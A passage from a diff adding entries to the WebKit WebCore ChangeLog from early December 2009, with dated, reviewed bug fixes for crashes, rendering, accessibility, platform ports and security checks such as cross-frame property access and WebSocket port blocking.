+        ScriptControllerBase to JSDOMWindowShell, and an API change in
+        ScriptValue.
+
+        * bindings/ScriptControllerBase.cpp:
+        (WebCore::ScriptController::executeIfJavaScriptURL):
+        * bindings/v8/ScriptValue.h:
+        (WebCore::ScriptValue::getString):
+
+2009-12-07  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Darin Adler.
+
+        REGRESSION(4.0.4-42a12): Indent does not work for twice modified with background text in gmail.
+        <rdar://problem/7442387>
+        https://bugs.webkit.org/show_bug.cgi?id=32233
+        
+        Fixes problem in re-creating the correct hierarchy under the new block.
+        Added extensive testing to cover all the cases.
+
+        Test: editing/execCommand/indent-with-style2.html
+
+        * editing/CompositeEditCommand.cpp:
+        (WebCore::CompositeEditCommand::cloneParagraphUnderNewElement):
+
+2009-12-07  Dmitry Titov  <dimich@chromium.org>
+
+        Rubber-stamped by Darin Adler.
+
+        Remove ENABLE_SHARED_SCRIPT flags
+        https://bugs.webkit.org/show_bug.cgi?id=32245
+        This patch was obtained by "git revert" command and then un-reverting of ChangeLog files.
+
+        * Configurations/FeatureDefines.xcconfig:
+        * GNUmakefile.am:
+        * WebCore.pro:
+
+2009-12-07  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Not reviewed. Force JS binding regeneration, eventually fixing the broken tests on the bots.
+
+        * bindings/scripts/CodeGeneratorJS.pm:
+
+2009-12-07  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Not reviewed. Try to fix mac builds by touching svgtags.in - I only tried from-scratch builds.
+
+        * svg/svgtags.in:
+
+2009-12-07  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32184
+        Handle out-of-memory conditions with JSC Ropes with a JS exception, rather than crashing.
+        Switch from using fastMalloc to tryFastMalloc, pass an ExecState to record the exception on.
+
+        * bindings/ScriptControllerBase.cpp:
+        (WebCore::ScriptController::executeIfJavaScriptURL):
+        * bindings/js/JSCanvasRenderingContext2DCustom.cpp:
+        (WebCore::toHTMLCanvasStyle):
+        (WebCore::JSCanvasRenderingContext2D::setFillColor):
+        (WebCore::JSCanvasRenderingContext2D::setStrokeColor):
+        (WebCore::JSCanvasRenderingContext2D::setShadow):
+        * bindings/js/ScriptCallStack.cpp:
+        (WebCore::ScriptCallStack::ScriptCallStack):
+        (WebCore::ScriptCallStack::initialize):
+        * bindings/js/ScriptValue.cpp:
+        (WebCore::ScriptValue::getString):
+        * bindings/js/ScriptValue.h:
+        * bindings/js/SerializedScriptValue.cpp:
+        (WebCore::SerializingTreeWalker::convertIfTerminal):
+        * bindings/objc/WebScriptObject.mm:
+        (+[WebScriptObject _convertValueToObjcValue:originRootObject:rootObject:]):
+        * page/Console.cpp:
+        (WebCore::Console::addMessage):
+
+2009-12-07  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Holger Hans Peter Freyther.
+
+        Turn on (SVG) Filters support, by default.
+        https://bugs.webkit.org/show_bug.cgi?id=32224
+
+        Only enable filters on mac for now, skipped all affected tests on the other platforms.
+        Will enable them one after another, to minimize breakage.
+
+        * Configurations/FeatureDefines.xcconfig: Enable FILTERS build flag.
+
+2009-12-07  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Fix a bug that KURL rejects a host name which has an IPv4 address
+        inside an IPv6 form like [::127.0.0.1].
+        https://bugs.webkit.org/show_bug.cgi?id=29913
+
+        * platform/KURL.cpp:
+        (WebCore::characterClassTable): Add IPv6Char to '.'.
+
+2009-12-07  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        <rdar://problem/7443417> - Closing a window opened with "New windows open with: Same Page" results in crash in ::~HistoryItem
+
+        The HistoryItem copy constructor has one very specific use case - to support the feature of a WebView copying another WebView's
+        BackForwardList.  That constructor wasn't initializing its m_document pointer, leading to this crash in the destructor.
+
+        * history/HistoryItem.cpp:
+        (WebCore::HistoryItem::~HistoryItem): Change the setDocument(0) to an ASSERT that the document is already 0. A HistoryItem cannot
+          outlive its Document and Documents will always clear the back-pointer in their ::detach() method.
+        (WebCore::HistoryItem::HistoryItem): Missed the m_document initializer in the copy constructor. Also remove an invalid assertion
+          about the original items m_cachedPage object (which is irrelevant to the copy).
+
+2009-12-07  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Remove partial SharedScript implementation.
+        https://bugs.webkit.org/show_bug.cgi?id=32237
+        The patch was obtained by running "git revert" command and then un-reverting WebCore/ChangeLog.
+
+        * DerivedSources.make:
+        * SharedScript/SharedScriptContext.cpp: Removed.
+        * SharedScript/SharedScriptContext.h: Removed.
+        * SharedScript/SharedScriptContext.idl: Removed.
+        * SharedScript/SharedScriptController.h: Removed.
+        * SharedScript/WebKitSharedScript.cpp: Removed.
+        * SharedScript/WebKitSharedScript.h: Removed.
+        * SharedScript/WebKitSharedScript.idl: Removed.
+        * SharedScript/WebKitSharedScriptRepository.cpp: Removed.
+        * SharedScript/WebKitSharedScriptRepository.h: Removed.
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * dom/Document.cpp:
+        (WebCore::Document::detach):
+        * dom/EventTarget.cpp:
+        * dom/EventTarget.h:
+        * dom/ScriptExecutionContext.h:
+
+2009-12-07  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Nikolas Zimmermann.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32226
+        Random crashes in WebSocket tests on Leopard Debug builbot
+
+        * platform/network/SocketStreamHandleBase.cpp: (WebCore::SocketStreamHandleBase::close):
+        Make sure the object still exists when setting m_state.
+
+2009-12-07  Shiki Okasaka  <shiki@google.com>
+
+        Reviewed by Dirk Schulze.
+
+        Avoid zero division during SVGPaintServerPattern::setup()
+        https://bugs.webkit.org/show_bug.cgi?id=29912
+
+        Fix zero division bugs in SVGPaintServerPattern::setup() that occurred
+        if the tile of a pattern was bigger than the pattern and the pattern
+        size was < 0.5, and if the attribute overflow was set to visible.
+
+        Test: svg/custom/small-pattern.html
+
+        * svg/graphics/SVGPaintServerPattern.cpp:
+        (WebCore::SVGPaintServerPattern::setup):
+
+2009-12-07  Kenneth Russell  <kbr@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        [v8] WebCore::WebGLArrayBufferInternal::byteLengthAttrGetter NULL pointer
+        https://bugs.webkit.org/show_bug.cgi?id=31889
+
+        Fixed bug in handling of zero-argument constructor call.
+
+        Test: fast/canvas/webgl/bug-31889.html
+
+        * bindings/v8/custom/V8WebGLArrayBufferCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-12-07  Gyuyoung Kim  <gyuyoung@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32024
+        [GTK] WebKit does not compile without JAVASCRIPT_DEBUGGER
+
+        Fix build errors when javascript-debugger is disabled on GTK
+
+        * GNUmakefile.am:
+
+2009-12-07  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Fixed <rdar://problem/7437820> Weird selection artifacts
+
+        Tests: fast/repaint/block-selection-gap-stale-cache-2.html
+               fast/repaint/block-selection-gap-stale-cache.html
+
+        Instead of caching the block selection gaps’ bounds in the RenderView at setSelection()
+        time, cache them in each RenderLayer at paint time. This prevents the cache from getting
+        stale due to layout changes and overflow scrolling.
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::selectionGapRectsForRepaint): Account for overflow scroll.
+        (WebCore::RenderBlock::paintSelection): Update the enclosing layer’s selection gaps bounds.
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::addBlockSelectionGapsBounds): Added. Updates the selection gaps
+        bounds to include the given rect.
+        (WebCore::RenderLayer::clearBlockSelectionGapsBounds): Added. Recursively clears the cached
+        selection gaps bounds.
+        (WebCore::RenderLayer::repaintBlockSelectionGaps): Added. Recursively invalidates the
+        selection gaps bounds.
+        * rendering/RenderLayer.h:
+        * rendering/RenderView.cpp:
+        (WebCore::RenderView::setSelection): Clear the layer-level selection gaps bounds instead
+        of the view-level cache.
+        (WebCore::RenderView::clearSelection): Changed to call repaintBlockSelectionGaps().
+        * rendering/RenderView.h:
+
+2009-12-07  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        Fixed whitelist comment and removed useless (tags, sdp) mimetypes
+        from it. Also, GStreamer doesn't handle directly SMIL.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mimeTypeCache):
+
+2009-12-07  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25415
+        [GTK][ATK] Please implement support for get_text_at_offset
+
+        Eliminate the segfaults which occur when accessing the text interface now
+        implemented by text controls.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (getPangoLayoutForAtk):
+
+2009-12-07  Gustavo Noronha Silva  <gns@gnome.org>
+
+        Reviewed by Xan Lopez.
+
+        Turn the MediaPlayer supported types blacklist into a whitelist
+
+        [GTK] REGRESSION: webkit thinks it can render PDFs
+        https://bugs.webkit.org/show_bug.cgi?id=32183
+
+        Covered by API test.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mimeTypeCache):
+
+2009-12-07  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25524
+        [Gtk] Expose the title attribute to assistive technologies
+
+        Expose 'alt' attribute from images as accessible name.
+        Expose the 'title' core HTML attribute as accessible description.
+        This is a modified version of the original fix submitted by Mario Sanchez Prada,
+        adjusted so that it doesn't impact other platforms.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (webkit_accessible_get_name):
+        (webkit_accessible_get_description):
+
+2009-12-07  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Fix support for generic font families
+
+        By not propagating the resolved font family in FontCacheQt and
+        only concidering the font description we ended up passing the
+        generic font families to Qt directly. Since most systems don't
+        have a mapping for these font families we ended up using the
+        default font in most cases.
+
+        * platform/graphics/qt/FontCacheQt.cpp:
+        * platform/graphics/qt/FontPlatformData.h:
+        * platform/graphics/qt/FontPlatformDataQt.cpp:
+
+2009-12-06  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Object.getOwnPropertyDescriptor() allows cross-frame access
+        https://bugs.webkit.org/show_bug.cgi?id=32119
+
+        Make all implementations of getOwnPropertyDescriptor that have
+        cross domain restrictions simply fail immediately on cross domain
+        access, rather than trying to mimic the behaviour of normal
+        property access.
+
+        Test: http/tests/security/cross-frame-access-getOwnPropertyDescriptor.html
+
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::getOwnPropertyDescriptor):
+        * bindings/js/JSHistoryCustom.cpp:
+        (WebCore::JSHistory::getOwnPropertyDescriptorDelegate):
+        * bindings/js/JSLocationCustom.cpp:
+        (WebCore::JSLocation::getOwnPropertyDescriptorDelegate):
+        * bindings/scripts/CodeGeneratorJS.pm:
+
+2009-12-07  Steve Block  <steveblock@google.com>
+
+        Reviewed by Adam Barth.
+
+        Moves JSC-specific functions from jni_utility and moves them to new jsc/jni_utility_private files.
+        https://bugs.webkit.org/show_bug.cgi?id=32157
+
+        Build fix only, no new tests.
+
+        * WebCore.xcodeproj/project.pbxproj: Modified. Add jni_utility_private.[cpp|h].
+        * bridge/jni/jni_instance.cpp: Modified. Include jni_utility_private.h for JSC.
+        * bridge/jni/jni_jsobject.mm: Modified. Include jni_utility_private.h for JSC.
+        * bridge/jni/jni_objc.mm: Modified. Include jni_utility_private.h for JSC.
+        * bridge/jni/jni_runtime.cpp: Modified. Include jni_utility_private.h for JSC.
+        * bridge/jni/jni_utility.cpp: Modified. Removed convertValueToJValue and convertArrayInstanceToJavaArray.
+        * bridge/jni/jni_utility.h: Modified. Removed convertValueToJValue and dispatchJNICall.
+        * bridge/jni/jsc: Added.
+        * bridge/jni/jsc/jni_utility_private.cpp: Added.
+        (JSC::Bindings::convertArrayInstanceToJavaArray):
+        (JSC::Bindings::convertValueToJValue):
+        * bridge/jni/jsc/jni_utility_private.h: Added. Header for convertValueToJValue and dispatchJNICall.
+        * platform/android/TemporaryLinkStubs.cpp: Modified. Include jni_utility_private.h for JSC.
+
+2009-12-06  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        texImage2D pixel junk for transparency
+        https://bugs.webkit.org/show_bug.cgi?id=32188
+
+        Use kCGBlendModeCopy when drawing an image to the intermediate context
+        used to create a GL texture.
+
+        No test as we don't currently have any mechanism to retrieve pixel data
+        from the webgl context.
+
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::imageToTexture):
+
+2009-12-03  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        Advertize audio/ogg correctly and refactored mime-type cache
+        building.
+
+        [GTK] Recognize oga as audio/ogg
+        https://bugs.webkit.org/show_bug.cgi?id=31990
+
+        Test: media/media-can-play-ogg.html
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mimeTypeCache):
+
+2009-12-05  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32175
+        REGRESSION: websocket/tests/url-parsing.html is crashing on Leopard Bot
+
+        * platform/network/cf/SocketStreamHandleCFNet.cpp:
+        (WebCore::SocketStreamHandle::readStreamCallback): Call platformClose() to unschedule both
+        streams, guaranteeing that there will be no callbacks after SocketStreamHandle is destroyed.
+        (WebCore::SocketStreamHandle::writeStreamCallback): Edited a comment a bit.
+
+2009-12-05  Adam Langley  <agl@google.com>
+
+        Reviewed by Adam Barth.
+
+        Check that a CSS format() argument is of a valid type.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31815
+        http://code.google.com/p/chromium/issues/detail?id=28582
+
+        Test: fast/css/url-format-non-string.html
+
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseFontFaceSrc):
+
+2009-12-04  Adam Langley  <agl@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Chromium: make rounded borders heavier.
+
+        Skia draws its rounded corners differently from the other ports.
+        Whereas they have anti-aliased clipping regions, Skia only has 1-bit
+        regions. (Which is technically more correct, but somewhat unhelpful
+        for us.) Instead, with Skia we use a layer and collect all the
+        clipping paths in effect. When the state is popped, we paint
+        transparency outside the clipping paths and merge the layer down.
+
+        This appears to cause rounded borders to look a little thin, which is
+        addressed in this patch.
+
+        This is well covered by existing tests but will require new baselines
+        in the Chromium tree.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31778
+
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::addInnerRoundedRectClip):
+
+2009-12-04  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        <rdar://problem/7441571> Hardware-backed layers are skipped when printing
+        
+        When printing, set the PaintBehaviorFlattenCompositingLayers flag so that compositing layers
+        paint. This also causes 3D transforms to be flattened to 2D.
+
+        Test: printing/compositing-layer-printing.html
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::paintContents):
+
+2009-12-04  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        Fix up some issues in my SVGListTraits change from yesterday.
+
+        * svg/SVGListTraits.h:
+        (WebCore::):
+
+2009-12-04  Albert J. Wong  <ajwong@chromium.org>
+
+        Not reviewed: chromium build fix.
+
+        Fix Chromium build break caused by moving of isDefaultPortForProtocol() and
+        portAllowed() into KURL.h/KURL.cpp.  Cloning code.
+
+        * platform/KURLGoogle.cpp:
+        (WebCore::isDefaultPortForProtocol):
+        (WebCore::portAllowed):
+
+2009-12-04  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Remove suppress highlight when restoring selected node.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32152
+
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.prototype.setDocument.selectNode):
+        (WebInspector.ElementsPanel.prototype.setDocument.selectLastSelectedNode):
+        (WebInspector.ElementsPanel.prototype.setDocument):
+
+2009-12-04  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Nikolas Zimmermann.
+
+        Gradient SVG animation demonstrates tearing at animation extremes
+        https://bugs.webkit.org/show_bug.cgi?id=11929
+
+        The focalPoint of a radial gradient is temporarly substracted by
+        the centralPoint, if the focalPoint is not in the radius of the
+        gradient. This is needed to calculate a new postion of the focalPoint
+        according to the specification. But the new focalPoint needs to be
+        moved by the centralPoint after this calculation, which is not the case
+        at the moment. This patch fixes this issue. It was also introduced a
+        deviation of maximal 0.2% for Cairo to get around the fixed point numbers
+        in Cairo.
+
+        W3C-SVG-1.1/pservers-grad-13-b needed an update. The missing adjustment
+        of the new focalPoint caused wrong results for the last three tests.
+
+        Test: svg/custom/radial-gradient-with-outstanding-focalPoint.svg
+
+        * svg/SVGRadialGradientElement.cpp:
+        (WebCore::SVGRadialGradientElement::buildGradient):
+
+2009-12-04  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by Dmitry Titov.
+
+        Do not use WebCore::String::String(const UChar*, int length) to convert
+        short v8 strings.
+
+        Plus added string traits.
+        https://bugs.webkit.org/show_bug.cgi?id=31415
+
+        * bindings/v8/V8Binding.cpp:
+        (WebCore::):
+        (WebCore::v8StringToWebCoreString):
+
+2009-12-04  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        REGRESSION: AX: buttons now extremely repetitive
+        https://bugs.webkit.org/show_bug.cgi?id=32164
+
+        Test: platform/mac/accessibility/button-shouldnot-have-axvalue.html
+
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::isButton):
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper accessibilityAttributeNames]):
+
+2009-12-04  Zoltan Herczeg  <zherczeg@inf.u-szeged.hu>
+
+        Reviewed by Darin Adler.
+
+        Check whether the right side of a string append is non-empty
+        https://bugs.webkit.org/show_bug.cgi?id=32151
+
+        Especially beneficial for CachedScript::script() method
+        which usually appends an empty string returned by flush()
+        to its m_script member. m_script is often hundreds of kbytes
+        which is duplated without reason.
+
+        * platform/text/String.cpp:
+        (WebCore::String::append):
+
+2009-12-04  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by John Sullivan.
+
+        Mail.app crashes when indenting table pasted from Numbers.app.
+        <rdar://problem/7209507>
+        https://bugs.webkit.org/show_bug.cgi?id=32166
+
+        Test: LayoutTests/editing/execCommand/indent-partial-table.html
+        
+        * editing/IndentOutdentCommand.cpp:
+        (WebCore::IndentOutdentCommand::indentRegion): Added test to verify that the end of the paragraph
+        after the selection has not been moved.
+
+2009-12-04  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32085
+        WebSocket should block the same ports that are blocked for resource loading
+
+        Test: websocket/tests/url-parsing.html
+
+        * page/SecurityOrigin.cpp:
+        (WebCore::SecurityOrigin::SecurityOrigin):
+        (WebCore::SecurityOrigin::localURLSchemes):
+        * page/SecurityOrigin.h:
+        Move isDefaultPortForProtocol() to KURL, because that's a better place for it (SecurityOrigin
+        is not even in WebCore/platform directory).
+
+        * html/HTMLAnchorElement.cpp:
+        (WebCore::HTMLAnchorElement::host):
+        (WebCore::HTMLAnchorElement::setHost):
+        (WebCore::HTMLAnchorElement::setPort):
+        Updated for the new location of isDefaultPortForProtocol().
+
+        * platform/KURL.cpp:
+        (WebCore::KURL::protocolIs): In an assertion, compare to "javascript" case-insensitively,
+        since the function doesn't require lower case input.
+        (WebCore::isDefaultPortForProtocol): Moved from SecurityOrigin.
+        (WebCore::portAllowed): Moved from ResourceHandle.
+        * platform/KURL.h:
+
+        * platform/network/ResourceHandle.cpp: (WebCore::ResourceHandle::create): Updated for the
+        new location of portAllowed().
+
+        * websockets/WebSocket.cpp: (WebCore::WebSocket::connect): Per the spec, raise a SECURITY_ERR
+        if trying to connect to a blocked port.
+
+2009-12-04  Benjamin Poulain  <benjamin.poulain@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] WebKit crashes when loading certain SVG images
+        https://bugs.webkit.org/show_bug.cgi?id=29443
+
+        Remove FontFallbackListQt and rely on the common FontFallbackList
+        to handle the fonts. FontCache and FontPlatformData have been
+        updated to work with the common FontFallbackList.
+
+        In the previous implementation, FontPlatformDataCacheKey
+        was a clone of FontPlatformData with the hashing
+        capabilities added in order to use it as a key in the cache's
+        hashmap. FontPlatformData has been modified to handle the hashing
+        function directly so the data are not copied twice in memory.
+
+        FontFallbackList::fontDataAt() from FontFallbackListQt was a copy of
+        code from FontCache::getFontData() and FontFallbackList::fontDataAt().
+        The behavior is similar except currFamily->family().length() was
+        not tested and the fallback fonts selector were not used.
+
+        Existing tests cover the change.
+
+        * WebCore.pro:
+        * platform/graphics/qt/FontCacheQt.cpp:
+        (WebCore::FontCache::platformInit):
+        (WebCore::FontCache::getFontDataForCharacters):
+        (WebCore::FontCache::getSimilarFontPlatformData):
+        (WebCore::FontCache::getLastResortFallbackFont):
+        (WebCore::FontCache::getTraitsInFamily):
+        (WebCore::FontCache::createFontPlatformData):
+        * platform/graphics/qt/FontCustomPlatformData.cpp:
+        (WebCore::FontCustomPlatformData::fontPlatformData):
+        * platform/graphics/qt/FontFallbackListQt.cpp:
+        Removed. We now use the implementation from FontFallbackList.cpp
+        * platform/graphics/qt/FontPlatformData.h:
+        Add hashing capabilities to be able to use the data with the FontCache.
+        This was previously done in FontCacheQt.cpp
+        (WebCore::FontPlatformDataPrivate::FontPlatformDataPrivate):
+        (WebCore::FontPlatformData::FontPlatformData):
+        (WebCore::FontPlatformData::isHashTableDeletedValue):
+        (WebCore::FontPlatformData::font):
+        (WebCore::FontPlatformData::size):
+        (WebCore::FontPlatformData::family):
+        (WebCore::FontPlatformData::bold):
+        (WebCore::FontPlatformData::italic):
+        (WebCore::FontPlatformData::smallCaps):
+        (WebCore::FontPlatformData::pixelSize):
+        * platform/graphics/qt/FontPlatformDataQt.cpp:
+        (WebCore::FontPlatformData::FontPlatformData):
+        (WebCore::FontPlatformData::~FontPlatformData):
+        (WebCore::FontPlatformData::operator=):
+        (WebCore::FontPlatformData::operator==):
+        (WebCore::FontPlatformData::hash):
+
+2009-12-04  Adam Treat  <atreat@rim.com>
+
+        Reviewed by Dan Bernstein.
+
+        Fix wrong assert that was only working through sheer luck.
+        https://bugs.webkit.org/show_bug.cgi?id=32162
+
+        * platform/text/BidiContext.cpp:
+        (WebCore::BidiContext::create):
+
+2009-12-04  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Allow removing 'qrc' as a local security origin scheme
+
+        * page/SecurityOrigin.cpp:
+
+2009-12-04  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Allow custom memory allocation control for WebCore's CollectionCache
+        https://bugs.webkit.org/show_bug.cgi?id=32109
+
+        Inherits the following class from FastAllocBase because it is
+        instantiated by 'new':
+
+        struct name            - instantiated at: WebCore/'location'
+
+        struct CollectionCache - dom/Document.cpp:4029
+
+        * html/CollectionCache.h:
+
+2009-12-04  Steve Block  <steveblock@google.com>
+
+        Reviewed by Darin Adler.
+
+        Fixes a crashing bug in Geolocation when a watch is cleared from some callbacks. 
+        https://bugs.webkit.org/show_bug.cgi?id=32111
+
+        In Geolocation::GeoNotifier::timerFired, a JS callback may be invoked if a
+        fatal error was registered on this GeoNotifier or if this request has timed
+        out. If the request is a watch, and is cleared by a call to clearWatch in the
+        callback, the GeoNotifier object will be destroyed. We must therefore cache the
+        m_geolocation member to allow us to call Geolocation::fatalErrorOccurred or
+        Geolocation::requestTimedOut.
+
+        Tests: fast/dom/Geolocation/permission-denied-already-clear-watch.html
+               fast/dom/Geolocation/timeout-clear-watch.html
+
+        * page/Geolocation.cpp: Modified.
+        (WebCore::Geolocation::GeoNotifier::timerFired): Modified. Cache the m_geolocation member before invoking the JS callback.
+
+2009-12-04  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Allow custom memory allocation control for 2 classes of the platform directory in WebCore
+        https://bugs.webkit.org/show_bug.cgi?id=
+
+        Inherits the following class from Noncopyable because it is instantiated
+        by 'new' and no need to be copyable:
+
+        class/struct name         - instantiated at: WebCore/'location'
+
+        class SharedTimer         - (its child class) workers/WorkerRunLoop.cpp:91
+
+        Inherits the following class from FastAllocBase because it is
+        instantiated by 'new':
+
+        class TransformOperations - rendering/style/RenderStyle.h:1175
+
+        Noncopyable.h's include added to SharedTimer.h.
+
+        * platform/SharedTimer.h:
+        * platform/graphics/transforms/TransformOperations.h:
+
+2009-12-04  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        [GTK]Enable DNS prefetching
+        https://bugs.webkit.org/show_bug.cgi?id=23846
+
+        Enable DNS prefetching.
+
+        Based on a patch by José Millán.
+
+        * platform/network/soup/DNSSoup.cpp:
+        (WebCore::prefetchDNS):
+
+2009-12-04  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Allow custom memory allocation control for the svg directory in WebCore
+        https://bugs.webkit.org/show_bug.cgi?id=
+
+        Inherits the following classes from Noncopyable because these are instantiated
+        by 'new' and no need to be copyable:
+
+        class/struct name           - instantiated at: WebCore/'location'
+
+        struct ResourceSet          - svg/graphics/SVGResource.cpp:148
+        class SVGFontData           - css/CSSFontFaceSource.cpp:156
+        class SVGDocumentExtensions - dom/Document.cpp:3962
+        class SVGViewSpec           - svg/SVGSVGElement.cpp:191
+
+        * svg/SVGDocumentExtensions.h:
+        * svg/SVGFontData.h:
+        * svg/SVGViewSpec.h:
+        * svg/graphics/SVGResource.cpp:
+
+2009-12-03  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        WAI-ARIA: aria-activedescendant doesn't work as intended
+        https://bugs.webkit.org/show_bug.cgi?id=32100
+
+        Fixes a number of issues regarding the "tree" role and aria-activedescendant.
+        1. The indexes were being reported incorrectly by treeitems.
+        2. aria-activedescendant changes were not being sent to the containing item.
+        3. The tree's selected rows need to consult aria-activedescendant.
+        4. Since a tree changes what it returns as its children (it returns its rows)
+           the mac-specific array indexing methods need to correctly handle the tree case.
+
+        Tests: platform/mac/accessibility/aria-tree-activedescendant.html
+               platform/mac/accessibility/aria-tree-index-of-items.html
+
+        * accessibility/AXObjectCache.h:
+        (WebCore::AXObjectCache::):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::shouldFocusActiveDescendant):
+        (WebCore::AccessibilityRenderObject::activeDescendant):
+        (WebCore::AccessibilityRenderObject::handleActiveDescendantChanged):
+        (WebCore::AccessibilityRenderObject::ariaTreeSelectedRows):
+        * accessibility/mac/AXObjectCacheMac.mm:
+        (WebCore::AXObjectCache::postPlatformNotification):
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
+        (-[AccessibilityObjectWrapper accessibilityIndexOfChild:]):
+        (-[AccessibilityObjectWrapper accessibilityArrayAttributeValues:index:maxCount:]):
+        * accessibility/win/AXObjectCacheWin.cpp:
+        (WebCore::AXObjectCache::postPlatformNotification):
+
+2009-12-03  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Allow custom memory allocation control for the xml directory in WebCore
+        https://bugs.webkit.org/show_bug.cgi?id=
+
+        Inherits the following class from Noncopyable because it is instantiated 
+        by 'new' and no need to be copyable:
+
+        class/struct name               - instantiated at: WebCore/'location'
+
+        struct XMLHttpRequestStaticData - xml/XMLHttpRequest.cpp:134
+
+        Inherits the following classes from FastAllocBase because these are instantiated by 'new':
+
+        class NodeTest                  - xml/XPathGrammar.y:258
+        class NodeSet                   - xml/XPathValue.cpp:52
+        struct EvaluationContext        - xml/XPathExpressionNode.cpp:40
+
+        * xml/XMLHttpRequest.cpp:
+        * xml/XPathExpressionNode.h:
+        * xml/XPathNodeSet.h:
+        * xml/XPathStep.h:
+
+2009-12-03  Drew Wilson  <atwilson@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        New History changes do not compile for Chromium/V8
+        https://bugs.webkit.org/show_bug.cgi?id=32148
+
+        Existing tests suffice (just trying to get code to compile).
+
+        * WebCore.gypi:
+        Added V8HistoryCustom.cpp and other missing files.
+        * bindings/v8/custom/V8CustomBinding.h:
+        Added custom handlers for History.pushState()/replaceState().
+        * bindings/v8/custom/V8HistoryCustom.cpp: Added.
+        Added custom handlers for History.pushState()/replaceState().
+        * history/BackForwardListChromium.cpp:
+        (WebCore::BackForwardList::pushStateItem):
+        Stubbed out this routine for now - will implement in the future.
+
+2009-12-03  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        OwnPtr<XBLBindingManager> Document::m_bindingManager;
+        https://bugs.webkit.org/show_bug.cgi?id=32147
+
+        The document actually owns the bindingManager.  That's what the code
+        should say.
+
+        * dom/Document.cpp:
+        (WebCore::Document::~Document):
+        * dom/Document.h:
+        (WebCore::Document::bindingManager):
+
+2009-12-03  Adam Barth  <abarth@webkit.org>
+
